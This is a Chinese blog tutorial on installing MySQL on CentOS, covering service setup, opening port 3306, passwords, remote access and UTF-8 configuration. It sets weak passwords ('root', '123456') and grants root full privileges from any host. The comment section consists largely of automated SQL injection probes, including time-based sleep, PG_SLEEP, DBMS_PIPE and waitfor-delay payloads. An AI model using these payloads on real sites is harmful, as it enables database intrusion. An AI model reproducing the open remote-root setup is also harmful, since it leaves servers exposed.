centos mysql 安装及配置


转自百度经验


工具/原料

  • 接入Internet的Centos计算机

安装Mysql

  • 查看mysql-server包列表
yum list mysql-server

 

  • 当只有一个时候就可直接安装,过程中选择Y继续安装
yum install mysql-server

  • 最后安装成功

设置Mysql的服务

  • 先启动Mysql服务
service mysqld start
  • 进入mysql
mysql
 
  • 退出mysql
\q
 
  • 设置Mysql开机启动
chkconfig mysqld on
 
  • 开启3306端口并保存
/sbin/iptables -I INPUT -p tcp --dport 3306 -j ACCEPT

/etc/rc.d/init.d/iptables save

修改密码并设置远程访问

  • 连接mysql数据库
mysql
 
  • 设置密码
# 选择mysql数据库
use mysql;

# 将root用户的密码设置为root
update user set password=password('root') where user='root';

# 强制让MySQL重新加载权限,使修改马上生效
flush privileges;
  • 设置Mysql远程访问
# 配置远程登陆时,需要的用户名(root)和密码(123456)
grant all privileges on *.* to 'root'@'%' identified by '123456' with grant option;

解决Mysql乱码问题

# 找一个配置文件,复制到/etc/目录,命名为my.cnf
cp /usr/share/doc/mysql-server-5.1.73/my-medium.cnf /etc/my.cnf

# 在[client]和[mysqld]下面都添加上“default-character-set=utf8”
vim my.cnf

重启mysql服务

  • 最后重新启动服务就可以了
service mysqld restart
 

远程连接mysql数据库

这里我主要说两种连接,一种是win下的cmd,一种是mysql workbench客户端(好像Win、Linux、Mac osx都支持)。假设win下已经安装配置好了MySQL。

使用cmd连接数据库

  1. 打开cmd命令行提示符;

  2. 输入mysql -h192.168.126.129 -uroot -p,按回车输入密码,就可以连接到服务器上的mysql。其中192.168.126.129是服务器IP地址。


使用mysql workbench客户端连接

  1. 点击“+”,新建MySQL连接;

  2. 在弹出的窗口中,输入连接名称(随便写)、IP、用户名、密码,然后OK;

  3. 在主窗口,可以看到刚刚建立的“MySQL”连接,点击就可以连接了;

  4. 接下来就可以对数据库进行操作了,比如使用SQL查询语句显示所有的数据库。




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129 评论
nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
2026-04-10 20:36:16 回复

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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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@@JHWPkChrome/131.0.0.0Windows NT 10.0; Win64; x64
2026-04-10 19:49:00 回复

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nZkkAbWB'"Chrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBJdLI03DL'Chrome/131.0.0.0Windows NT 10.0; Win64; x64
2026-04-10 19:47:47 回复

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-1" OR 5*5=25 -- Chrome/131.0.0.0Windows NT 10.0; Win64; x64
2026-04-10 19:43:37 回复

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-1' OR 5*5=25 -- Chrome/131.0.0.0Windows NT 10.0; Win64; x64
2026-04-10 19:43:35 回复

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-1 OR 5*5=25Chrome/131.0.0.0Windows NT 10.0; Win64; x64
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-1 OR 5*5=25 -- Chrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
2026-04-10 19:30:37 回复

(select 198766*667891 from DUAL)

nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
2026-04-10 19:30:36 回复

(select 198766*667891)

nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
2026-04-10 19:30:34 回复

@@rIy3s

nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
2026-04-10 19:30:32 回复

555����%2527%2522\'\"

nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
2026-04-10 19:30:31 回复

555'"

nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
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555

nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
2026-04-10 19:30:25 回复

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
2026-04-10 19:29:45 回复

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
2026-04-10 19:29:14 回复

555G8S8L8nZ')) OR 499=(SELECT 499 FROM PG_SLEEP(15))--

nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
2026-04-10 19:28:22 回复

555KxLy2uba') OR 801=(SELECT 801 FROM PG_SLEEP(15))--

nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
2026-04-10 19:27:13 回复

555aePQDpCf' OR 359=(SELECT 359 FROM PG_SLEEP(15))--

nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
2026-04-10 19:26:08 回复

555-1)) OR 75=(SELECT 75 FROM PG_SLEEP(15))--

nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
2026-04-10 19:24:52 回复

555-1) OR 485=(SELECT 485 FROM PG_SLEEP(15))--

nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
2026-04-10 19:24:05 回复

555-1 OR 474=(SELECT 474 FROM PG_SLEEP(15))--

nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
2026-04-10 19:23:32 回复

555eAEcg4R8'

nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
2026-04-10 19:23:06 回复

555-1 waitfor delay '0:0:15' --

nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
2026-04-10 19:22:39 回复

555-1)

nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
2026-04-10 19:22:01 回复

555-1

nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
2026-04-10 19:21:30 回复

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
2026-04-10 19:21:07 回复

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
2026-04-10 19:20:39 回复

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
2026-04-10 19:19:30 回复

555*if(now()=sysdate(),sleep(15),0)

nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
2026-04-10 19:17:56 回复

-1" OR 5*5=25 or "Pqf2Keyb"="

nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
2026-04-10 19:17:53 回复

-1' OR 5*5=25 or 'eagrrnrO'='

nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
2026-04-10 19:17:51 回复

-1" OR 5*5=25 --

nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
2026-04-10 19:17:45 回复

-1' OR 5*5=25 --

nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
2026-04-10 19:17:43 回复

-1 OR 5*5=25

nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
2026-04-10 19:17:40 回复

-1 OR 5*5=25 --

nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
2026-04-10 19:17:37 回复

555

nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
2026-04-10 19:16:28 回复

555

nZkkAbWBChrome/131.0.0.0Windows NT 10.0; Win64; x64
2026-04-10 18:24:22 回复

555